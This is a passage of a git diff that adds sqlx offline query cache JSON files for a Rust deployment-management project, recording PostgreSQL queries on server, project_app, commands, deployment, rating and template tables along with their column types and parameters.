"vault_sync_version", + "type_info": "Int4" + }, + { + "ordinal": 25, + "name": "config_hash", + "type_info": "Varchar" + }, + { + "ordinal": 26, + "name": "config_files", + "type_info": "Jsonb" + }, + { + "ordinal": 27, + "name": "template_source", + "type_info": "Varchar" + }, + { + "ordinal": 28, + "name": "parent_app_code", + "type_info": "Varchar" + }, + { + "ordinal": 29, + "name": "deployment_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true + ] + }, + "hash": "467365894a7f9a0888584e8879cac289299f4d03539b9c746324cd183e265553" +} diff --git a/stacker/stacker/.sqlx/query-4bdcd8d475ffd8aab728ec2b9d0d8c578770e2d52bf531de6e69561a4adbb21c.json b/stacker/stacker/.sqlx/query-4bdcd8d475ffd8aab728ec2b9d0d8c578770e2d52bf531de6e69561a4adbb21c.json new file mode 100644 index 0000000..8dbb234 --- /dev/null +++ b/stacker/stacker/.sqlx/query-4bdcd8d475ffd8aab728ec2b9d0d8c578770e2d52bf531de6e69561a4adbb21c.json @@ -0,0 +1,124 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM server\n WHERE user_id=$1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 11, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 14, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "cloud_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + true, + true, + true, + false, + false, + true, + true, + true, + true, + false, + false, + true, + true + ] + }, + "hash": "4bdcd8d475ffd8aab728ec2b9d0d8c578770e2d52bf531de6e69561a4adbb21c" +} diff --git a/stacker/stacker/.sqlx/query-4e375cca55b0f106578474e5736094044e237999123952be7c78b46c937b8778.json b/stacker/stacker/.sqlx/query-4e375cca55b0f106578474e5736094044e237999123952be7c78b46c937b8778.json new file mode 100644 index 0000000..09cd0c0 --- /dev/null +++ b/stacker/stacker/.sqlx/query-4e375cca55b0f106578474e5736094044e237999123952be7c78b46c937b8778.json @@ -0,0 +1,100 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE commands\n SET status = 'cancelled', updated_at = NOW()\n WHERE command_id = $1\n RETURNING id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "4e375cca55b0f106578474e5736094044e237999123952be7c78b46c937b8778" +} diff --git a/stacker/stacker/.sqlx/query-4f54a93856a693345a9f63552dabf3192c3108a2776bb56f36787af3fa884554.json b/stacker/stacker/.sqlx/query-4f54a93856a693345a9f63552dabf3192c3108a2776bb56f36787af3fa884554.json new file mode 100644 index 0000000..f76fff6 --- /dev/null +++ b/stacker/stacker/.sqlx/query-4f54a93856a693345a9f63552dabf3192c3108a2776bb56f36787af3fa884554.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "\n DELETE FROM agents WHERE id = $1\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "4f54a93856a693345a9f63552dabf3192c3108a2776bb56f36787af3fa884554" +} diff --git a/stacker/stacker/.sqlx/query-51517c5eb7f50e463ba2968f4d94e2285b551e817f881b7193fc88189b4001e0.json b/stacker/stacker/.sqlx/query-51517c5eb7f50e463ba2968f4d94e2285b551e817f881b7193fc88189b4001e0.json new file mode 100644 index 0000000..b05bc5e --- /dev/null +++ b/stacker/stacker/.sqlx/query-51517c5eb7f50e463ba2968f4d94e2285b551e817f881b7193fc88189b4001e0.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "UPDATE stack_template SET status = 'submitted', approved_at = NULL WHERE id = $1::uuid AND status = 'approved'", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid" + ] + }, + "nullable": [] + }, + "hash": "51517c5eb7f50e463ba2968f4d94e2285b551e817f881b7193fc88189b4001e0" +} diff --git a/stacker/stacker/.sqlx/query-535d270d0a7dbfea6f82e6448d5812d656a22fbb29d0309e907b7a260dc491d3.json b/stacker/stacker/.sqlx/query-535d270d0a7dbfea6f82e6448d5812d656a22fbb29d0309e907b7a260dc491d3.json new file mode 100644 index 0000000..ae32e4b --- /dev/null +++ b/stacker/stacker/.sqlx/query-535d270d0a7dbfea6f82e6448d5812d656a22fbb29d0309e907b7a260dc491d3.json @@ -0,0 +1,15 @@ +{ + "db_name": "PostgreSQL", + "query": "UPDATE cloud SET name = $1 WHERE id = $2", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Varchar", + "Int4" + ] + }, + "nullable": [] + }, + "hash": "535d270d0a7dbfea6f82e6448d5812d656a22fbb29d0309e907b7a260dc491d3" +} diff --git a/stacker/stacker/.sqlx/query-53a76c5d7dbb79cb51cace5ffacc2cf689a650fb90bccfb80689ef3c5b73a2b0.json b/stacker/stacker/.sqlx/query-53a76c5d7dbb79cb51cace5ffacc2cf689a650fb90bccfb80689ef3c5b73a2b0.json new file mode 100644 index 0000000..a4ecd8b --- /dev/null +++ b/stacker/stacker/.sqlx/query-53a76c5d7dbb79cb51cace5ffacc2cf689a650fb90bccfb80689ef3c5b73a2b0.json @@ -0,0 +1,196 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT * FROM project_app \n WHERE project_id = $1 \n ORDER BY deploy_order ASC NULLS LAST, id ASC\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "code", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "image", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "environment", + "type_info": "Jsonb" + }, + { + "ordinal": 6, + "name": "ports", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "volumes", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "domain", + "type_info": "Varchar" + }, + { + "ordinal": 9, + "name": "ssl_enabled", + "type_info": "Bool" + }, + { + "ordinal": 10, + "name": "resources", + "type_info": "Jsonb" + }, + { + "ordinal": 11, + "name": "restart_policy", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "command", + "type_info": "Text" + }, + { + "ordinal": 13, + "name": "entrypoint", + "type_info": "Text" + }, + { + "ordinal": 14, + "name": "networks", + "type_info": "Jsonb" + }, + { + "ordinal": 15, + "name": "depends_on", + "type_info": "Jsonb" + }, + { + "ordinal": 16, + "name": "healthcheck", + "type_info": "Jsonb" + }, + { + "ordinal": 17, + "name": "labels", + "type_info": "Jsonb" + }, + { + "ordinal": 18, + "name": "enabled", + "type_info": "Bool" + }, + { + "ordinal": 19, + "name": "deploy_order", + "type_info": "Int4" + }, + { + "ordinal": 20, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 21, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 22, + "name": "config_version", + "type_info": "Int4" + }, + { + "ordinal": 23, + "name": "vault_synced_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 24, + "name": "vault_sync_version", + "type_info": "Int4" + }, + { + "ordinal": 25, + "name": "config_hash", + "type_info": "Varchar" + }, + { + "ordinal": 26, + "name": "config_files", + "type_info": "Jsonb" + }, + { + "ordinal": 27, + "name": "template_source", + "type_info": "Varchar" + }, + { + "ordinal": 28, + "name": "parent_app_code", + "type_info": "Varchar" + }, + { + "ordinal": 29, + "name": "deployment_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true + ] + }, + "hash": "53a76c5d7dbb79cb51cace5ffacc2cf689a650fb90bccfb80689ef3c5b73a2b0" +} diff --git a/stacker/stacker/.sqlx/query-55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34.json b/stacker/stacker/.sqlx/query-55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34.json new file mode 100644 index 0000000..543f2e9 --- /dev/null +++ b/stacker/stacker/.sqlx/query-55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34.json @@ -0,0 +1,20 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO marketplace_event (\n template_id,\n event_type,\n viewer_user_id,\n deployer_user_id,\n cloud_provider,\n occurred_at,\n metadata\n )\n VALUES ($1, $2, $3, $4, $5, $6, $7)\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Timestamptz", + "Jsonb" + ] + }, + "nullable": [] + }, + "hash": "55573922a4b559fe1ceadd9a8bf7ce4e35e61a132eb25c7178b1f96733f6cd34" +} diff --git a/stacker/stacker/.sqlx/query-55e886a505d00b70674a19fd3228915ab4494cbd7058fdec868ab93c0fcfb4d8.json b/stacker/stacker/.sqlx/query-55e886a505d00b70674a19fd3228915ab4494cbd7058fdec868ab93c0fcfb4d8.json new file mode 100644 index 0000000..bd0e16f --- /dev/null +++ b/stacker/stacker/.sqlx/query-55e886a505d00b70674a19fd3228915ab4494cbd7058fdec868ab93c0fcfb4d8.json @@ -0,0 +1,17 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE rating\n SET \n comment=$1,\n rate=$2,\n hidden=$3,\n updated_at=NOW() at time zone 'utc'\n WHERE id = $4\n ", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Text", + "Int4", + "Bool", + "Int4" + ] + }, + "nullable": [] + }, + "hash": "55e886a505d00b70674a19fd3228915ab4494cbd7058fdec868ab93c0fcfb4d8" +} diff --git a/stacker/stacker/.sqlx/query-5aaa47a88d81ba70ae7da455ac5c98fc77ae7c6422dc8eea31fd89863c83ffd3.json b/stacker/stacker/.sqlx/query-5aaa47a88d81ba70ae7da455ac5c98fc77ae7c6422dc8eea31fd89863c83ffd3.json new file mode 100644 index 0000000..ceb3263 --- /dev/null +++ b/stacker/stacker/.sqlx/query-5aaa47a88d81ba70ae7da455ac5c98fc77ae7c6422dc8eea31fd89863c83ffd3.json @@ -0,0 +1,14 @@ +{ + "db_name": "PostgreSQL", + "query": "DELETE FROM chat_conversations WHERE user_id = $1 AND project_id IS NULL", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Text" + ] + }, + "nullable": [] + }, + "hash": "5aaa47a88d81ba70ae7da455ac5c98fc77ae7c6422dc8eea31fd89863c83ffd3" +} diff --git a/stacker/stacker/.sqlx/query-5bf9f8aacbe676339d0811d305abace6cc4a4d068392f7b58f2d165042ab509e.json b/stacker/stacker/.sqlx/query-5bf9f8aacbe676339d0811d305abace6cc4a4d068392f7b58f2d165042ab509e.json new file mode 100644 index 0000000..e01c813 --- /dev/null +++ b/stacker/stacker/.sqlx/query-5bf9f8aacbe676339d0811d305abace6cc4a4d068392f7b58f2d165042ab509e.json @@ -0,0 +1,16 @@ +{ + "db_name": "PostgreSQL", + "query": "UPDATE stack_template SET status = $2, approved_at = CASE WHEN $3 THEN now() ELSE approved_at END WHERE id = $1::uuid", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid", + "Varchar", + "Bool" + ] + }, + "nullable": [] + }, + "hash": "5bf9f8aacbe676339d0811d305abace6cc4a4d068392f7b58f2d165042ab509e" +} diff --git a/stacker/stacker/.sqlx/query-5d36c126c67a5b70ac168bc46fcff3ee63ae5548ce78f244099f9d61ca694312.json b/stacker/stacker/.sqlx/query-5d36c126c67a5b70ac168bc46fcff3ee63ae5548ce78f244099f9d61ca694312.json new file mode 100644 index 0000000..73f0154 --- /dev/null +++ b/stacker/stacker/.sqlx/query-5d36c126c67a5b70ac168bc46fcff3ee63ae5548ce78f244099f9d61ca694312.json @@ -0,0 +1,197 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT * FROM project_app \n WHERE project_id = $1 AND code = $2 \n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "code", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "image", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "environment", + "type_info": "Jsonb" + }, + { + "ordinal": 6, + "name": "ports", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "volumes", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "domain", + "type_info": "Varchar" + }, + { + "ordinal": 9, + "name": "ssl_enabled", + "type_info": "Bool" + }, + { + "ordinal": 10, + "name": "resources", + "type_info": "Jsonb" + }, + { + "ordinal": 11, + "name": "restart_policy", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "command", + "type_info": "Text" + }, + { + "ordinal": 13, + "name": "entrypoint", + "type_info": "Text" + }, + { + "ordinal": 14, + "name": "networks", + "type_info": "Jsonb" + }, + { + "ordinal": 15, + "name": "depends_on", + "type_info": "Jsonb" + }, + { + "ordinal": 16, + "name": "healthcheck", + "type_info": "Jsonb" + }, + { + "ordinal": 17, + "name": "labels", + "type_info": "Jsonb" + }, + { + "ordinal": 18, + "name": "enabled", + "type_info": "Bool" + }, + { + "ordinal": 19, + "name": "deploy_order", + "type_info": "Int4" + }, + { + "ordinal": 20, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 21, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 22, + "name": "config_version", + "type_info": "Int4" + }, + { + "ordinal": 23, + "name": "vault_synced_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 24, + "name": "vault_sync_version", + "type_info": "Int4" + }, + { + "ordinal": 25, + "name": "config_hash", + "type_info": "Varchar" + }, + { + "ordinal": 26, + "name": "config_files", + "type_info": "Jsonb" + }, + { + "ordinal": 27, + "name": "template_source", + "type_info": "Varchar" + }, + { + "ordinal": 28, + "name": "parent_app_code", + "type_info": "Varchar" + }, + { + "ordinal": 29, + "name": "deployment_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Text" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + true, + false, + false, + false, + true, + true, + true, + true, + true, + true, + true + ] + }, + "hash": "5d36c126c67a5b70ac168bc46fcff3ee63ae5548ce78f244099f9d61ca694312" +} diff --git a/stacker/stacker/.sqlx/query-5e0b8298645aaf647eb1eb16dd74d81d663436e3a4fc6900d6f066e261ea8c54.json b/stacker/stacker/.sqlx/query-5e0b8298645aaf647eb1eb16dd74d81d663436e3a4fc6900d6f066e261ea8c54.json new file mode 100644 index 0000000..bd9cc3d --- /dev/null +++ b/stacker/stacker/.sqlx/query-5e0b8298645aaf647eb1eb16dd74d81d663436e3a4fc6900d6f066e261ea8c54.json @@ -0,0 +1,82 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT id, project_id, deployment_hash, user_id, deleted, status, runtime, metadata,\n last_seen_at, created_at, updated_at\n FROM deployment\n WHERE project_id = $1 AND deleted = false\n ORDER BY created_at DESC\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "deleted", + "type_info": "Bool" + }, + { + "ordinal": 5, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "runtime", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "last_seen_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + true, + true, + false, + false, + false, + true, + false, + false + ] + }, + "hash": "5e0b8298645aaf647eb1eb16dd74d81d663436e3a4fc6900d6f066e261ea8c54" +} diff --git a/stacker/stacker/.sqlx/query-5fea60d7574cfd238a7cbae4d93423869bd7b79dd5b246d80f0b6f39ce4659dc.json b/stacker/stacker/.sqlx/query-5fea60d7574cfd238a7cbae4d93423869bd7b79dd5b246d80f0b6f39ce4659dc.json new file mode 100644 index 0000000..cd18bf7 --- /dev/null +++ b/stacker/stacker/.sqlx/query-5fea60d7574cfd238a7cbae4d93423869bd7b79dd5b246d80f0b6f39ce4659dc.json @@ -0,0 +1,76 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT\n *\n FROM project\n WHERE id=$1\n LIMIT 1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "stack_id", + "type_info": "Uuid" + }, + { + "ordinal": 2, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "name", + "type_info": "Text" + }, + { + "ordinal": 4, + "name": "metadata", + "type_info": "Json" + }, + { + "ordinal": 5, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 6, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 7, + "name": "request_json", + "type_info": "Json" + }, + { + "ordinal": 8, + "name": "source_template_id", + "type_info": "Uuid" + }, + { + "ordinal": 9, + "name": "template_version", + "type_info": "Varchar" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + false, + false, + true, + true + ] + }, + "hash": "5fea60d7574cfd238a7cbae4d93423869bd7b79dd5b246d80f0b6f39ce4659dc" +} diff --git a/stacker/stacker/.sqlx/query-6c3982183d2cb027eb7b7c9c9af529a5a264451fd8914aaba0062bfd5987d3db.json b/stacker/stacker/.sqlx/query-6c3982183d2cb027eb7b7c9c9af529a5a264451fd8914aaba0062bfd5987d3db.json new file mode 100644 index 0000000..ca63bd3 --- /dev/null +++ b/stacker/stacker/.sqlx/query-6c3982183d2cb027eb7b7c9c9af529a5a264451fd8914aaba0062bfd5987d3db.json @@ -0,0 +1,16 @@ +{ + "db_name": "PostgreSQL", + "query": "INSERT INTO stack_template_review (template_id, reviewer_user_id, decision, review_reason, reviewed_at) VALUES ($1::uuid, $2, 'rejected', $3, now())", + "describe": { + "columns": [], + "parameters": { + "Left": [ + "Uuid", + "Varchar", + "Text" + ] + }, + "nullable": [] + }, + "hash": "6c3982183d2cb027eb7b7c9c9af529a5a264451fd8914aaba0062bfd5987d3db" +} diff --git a/stacker/stacker/.sqlx/query-6cdfab7ffca4a98abcd7fb2325289ccf3035f08340bf80a345ff74570cd62043.json b/stacker/stacker/.sqlx/query-6cdfab7ffca4a98abcd7fb2325289ccf3035f08340bf80a345ff74570cd62043.json new file mode 100644 index 0000000..2bbb52c --- /dev/null +++ b/stacker/stacker/.sqlx/query-6cdfab7ffca4a98abcd7fb2325289ccf3035f08340bf80a345ff74570cd62043.json @@ -0,0 +1,103 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE commands\n SET status = $2, result = $3, error = $4, updated_at = NOW()\n WHERE command_id = $1\n RETURNING id, command_id, deployment_hash, type, status, priority,\n parameters, result, error, created_by, created_at, updated_at,\n timeout_seconds, metadata\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Uuid" + }, + { + "ordinal": 1, + "name": "command_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "deployment_hash", + "type_info": "Varchar" + }, + { + "ordinal": 3, + "name": "type", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "status", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "priority", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "parameters", + "type_info": "Jsonb" + }, + { + "ordinal": 7, + "name": "result", + "type_info": "Jsonb" + }, + { + "ordinal": 8, + "name": "error", + "type_info": "Jsonb" + }, + { + "ordinal": 9, + "name": "created_by", + "type_info": "Varchar" + }, + { + "ordinal": 10, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 11, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 12, + "name": "timeout_seconds", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "metadata", + "type_info": "Jsonb" + } + ], + "parameters": { + "Left": [ + "Text", + "Varchar", + "Jsonb", + "Jsonb" + ] + }, + "nullable": [ + false, + false, + false, + false, + false, + false, + true, + true, + true, + false, + false, + false, + true, + true + ] + }, + "hash": "6cdfab7ffca4a98abcd7fb2325289ccf3035f08340bf80a345ff74570cd62043" +} diff --git a/stacker/stacker/.sqlx/query-6e44fd63bcb2075e9515a7ce3d0be7a3759a98b5f1c637eb632aa440a1ffadb6.json b/stacker/stacker/.sqlx/query-6e44fd63bcb2075e9515a7ce3d0be7a3759a98b5f1c637eb632aa440a1ffadb6.json new file mode 100644 index 0000000..b6c5726 --- /dev/null +++ b/stacker/stacker/.sqlx/query-6e44fd63bcb2075e9515a7ce3d0be7a3759a98b5f1c637eb632aa440a1ffadb6.json @@ -0,0 +1,85 @@ +{ + "db_name": "PostgreSQL", + "query": "SELECT \n id,\n user_id,\n obj_id,\n category as \"category: _\",\n comment,\n hidden,\n rate,\n created_at,\n updated_at\n FROM rating\n WHERE hidden = false \n ORDER BY id DESC\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "obj_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "category: _", + "type_info": { + "Custom": { + "name": "rate_category", + "kind": { + "Enum": [ + "application", + "cloud", + "project", + "deploymentSpeed", + "documentation", + "design", + "techSupport", + "price", + "memoryUsage" + ] + } + } + } + }, + { + "ordinal": 4, + "name": "comment", + "type_info": "Text" + }, + { + "ordinal": 5, + "name": "hidden", + "type_info": "Bool" + }, + { + "ordinal": 6, + "name": "rate", + "type_info": "Int4" + }, + { + "ordinal": 7, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 8, + "name": "updated_at", + "type_info": "Timestamptz" + } + ], + "parameters": { + "Left": [] + }, + "nullable": [ + false, + false, + false, + false, + true, + true, + true, + false, + false + ] + }, + "hash": "6e44fd63bcb2075e9515a7ce3d0be7a3759a98b5f1c637eb632aa440a1ffadb6" +} diff --git a/stacker/stacker/.sqlx/query-7466afe658bdac4d522b96b33e769c130a1c5d065df70ce221490356c7eb806a.json b/stacker/stacker/.sqlx/query-7466afe658bdac4d522b96b33e769c130a1c5d065df70ce221490356c7eb806a.json new file mode 100644 index 0000000..8378eea --- /dev/null +++ b/stacker/stacker/.sqlx/query-7466afe658bdac4d522b96b33e769c130a1c5d065df70ce221490356c7eb806a.json @@ -0,0 +1,22 @@ +{ + "db_name": "PostgreSQL", + "query": "\n SELECT COUNT(*) as \"count!\" FROM project_app WHERE project_id = $1\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "count!", + "type_info": "Int8" + } + ], + "parameters": { + "Left": [ + "Int4" + ] + }, + "nullable": [ + null + ] + }, + "hash": "7466afe658bdac4d522b96b33e769c130a1c5d065df70ce221490356c7eb806a" +} diff --git a/stacker/stacker/.sqlx/query-7563c1c8327e4f89f658bdf48ae243bc6e8d150bbce86b7c147a9fca07c6d08c.json b/stacker/stacker/.sqlx/query-7563c1c8327e4f89f658bdf48ae243bc6e8d150bbce86b7c147a9fca07c6d08c.json new file mode 100644 index 0000000..fa5021e --- /dev/null +++ b/stacker/stacker/.sqlx/query-7563c1c8327e4f89f658bdf48ae243bc6e8d150bbce86b7c147a9fca07c6d08c.json @@ -0,0 +1,36 @@ +{ + "db_name": "PostgreSQL", + "query": "\n INSERT INTO server (\n user_id,\n project_id,\n cloud_id,\n region,\n zone,\n server,\n os,\n disk_type,\n created_at,\n updated_at,\n srv_ip,\n ssh_user,\n ssh_port,\n vault_key_path,\n connection_mode,\n key_status,\n name\n )\n VALUES ($1, $2, $3, $4, $5, $6, $7, $8, NOW() at time zone 'utc',NOW() at time zone 'utc', $9, $10, $11, $12, $13, $14, $15)\n RETURNING id;\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Varchar", + "Int4", + "Int4", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Varchar", + "Int4", + "Varchar", + "Varchar", + "Varchar", + "Varchar" + ] + }, + "nullable": [ + false + ] + }, + "hash": "7563c1c8327e4f89f658bdf48ae243bc6e8d150bbce86b7c147a9fca07c6d08c" +} diff --git a/stacker/stacker/.sqlx/query-7a6b4eb7eefd541ecb0529783ac01c36b2e69902623f289bd3cc6bf73d2b0ce8.json b/stacker/stacker/.sqlx/query-7a6b4eb7eefd541ecb0529783ac01c36b2e69902623f289bd3cc6bf73d2b0ce8.json new file mode 100644 index 0000000..13937cf --- /dev/null +++ b/stacker/stacker/.sqlx/query-7a6b4eb7eefd541ecb0529783ac01c36b2e69902623f289bd3cc6bf73d2b0ce8.json @@ -0,0 +1,126 @@ +{ + "db_name": "PostgreSQL", + "query": "\n UPDATE server\n SET\n vault_key_path = $2,\n key_status = $3,\n updated_at = NOW() at time zone 'utc'\n WHERE id = $1\n RETURNING *\n ", + "describe": { + "columns": [ + { + "ordinal": 0, + "name": "id", + "type_info": "Int4" + }, + { + "ordinal": 1, + "name": "user_id", + "type_info": "Varchar" + }, + { + "ordinal": 2, + "name": "project_id", + "type_info": "Int4" + }, + { + "ordinal": 3, + "name": "region", + "type_info": "Varchar" + }, + { + "ordinal": 4, + "name": "zone", + "type_info": "Varchar" + }, + { + "ordinal": 5, + "name": "server", + "type_info": "Varchar" + }, + { + "ordinal": 6, + "name": "os", + "type_info": "Varchar" + }, + { + "ordinal": 7, + "name": "disk_type", + "type_info": "Varchar" + }, + { + "ordinal": 8, + "name": "created_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 9, + "name": "updated_at", + "type_info": "Timestamptz" + }, + { + "ordinal": 10, + "name": "srv_ip", + "type_info": "Varchar" + }, + { + "ordinal": 11, + "name": "ssh_user", + "type_info": "Varchar" + }, + { + "ordinal": 12, + "name": "ssh_port", + "type_info": "Int4" + }, + { + "ordinal": 13, + "name": "vault_key_path", + "type_info": "Varchar" + }, + { + "ordinal": 14, + "name": "connection_mode", + "type_info": "Varchar" + }, + { + "ordinal": 15, + "name": "key_status", + "type_info": "Varchar" + }, + { + "ordinal": 16, + "name": "name", + "type_info": "Varchar" + }, + { + "ordinal": 17, + "name": "cloud_id", + "type_info": "Int4" + } + ], + "parameters": { + "Left": [ + "Int4", + "Varchar", + "Varchar" + ] 